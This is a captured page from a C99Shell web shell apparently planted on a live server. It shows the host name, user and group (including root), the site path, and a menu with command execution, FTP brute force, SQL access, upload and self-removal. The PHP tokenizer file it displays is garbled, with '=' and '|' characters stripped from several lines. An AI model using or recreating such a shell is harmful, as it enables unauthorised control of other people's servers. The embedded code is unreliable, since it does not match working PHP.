!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/theseer/tokenizer/src/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     XMLSerializer.php (2.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types 1);
namespace 
TheSeer\Tokenizer;

use 
DOMDocument;

class 
XMLSerializer {

    
/** @var \XMLWriter */
    
private $writer;

    
/** @var Token */
    
private $previousToken;

    
/** @var NamespaceUri */
    
private $xmlns;

    
/**
     * XMLSerializer constructor.
     *
     * @param NamespaceUri $xmlns
     */
    
public function __construct(?NamespaceUri $xmlns null) {
        if (
$xmlns === null) {
            
$xmlns = new NamespaceUri('https://github.com/theseer/tokenizer');
        }
        
$this->xmlns $xmlns;
    }

    public function 
toDom(TokenCollection $tokens): DOMDocument {
        
$dom                     = new DOMDocument();
        
$dom->preserveWhiteSpace false;
        
$dom->loadXML($this->toXML($tokens));

        return 
$dom;
    }

    public function 
toXML(TokenCollection $tokens): string {
        
$this->writer = new \XMLWriter();
        
$this->writer->openMemory();
        
$this->writer->setIndent(true);
        
$this->writer->startDocument();
        
$this->writer->startElement('source');
        
$this->writer->writeAttribute('xmlns'$this->xmlns->asString());

        if (
\count($tokens) > 0) {
            
$this->writer->startElement('line');
            
$this->writer->writeAttribute('no''1');

            
$this->previousToken $tokens[0];

            foreach (
$tokens as $token) {
                
$this->addToken($token);
            }
        }

        
$this->writer->endElement();
        
$this->writer->endElement();
        
$this->writer->endDocument();

        return 
$this->writer->outputMemory();
    }

    private function 
addToken(Token $token): void {
        if (
$this->previousToken->getLine() < $token->getLine()) {
            
$this->writer->endElement();

            
$this->writer->startElement('line');
            
$this->writer->writeAttribute('no', (string)$token->getLine());
            
$this->previousToken $token;
        }

        if (
$token->getValue() !== '') {
            
$this->writer->startElement('token');
            
$this->writer->writeAttribute('name'$token->getName());
            
$this->writer->writeRaw(\htmlspecialchars($token->getValue(), \ENT_NOQUOTES \ENT_DISALLOWED \ENT_XML1));
            
$this->writer->endElement();
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--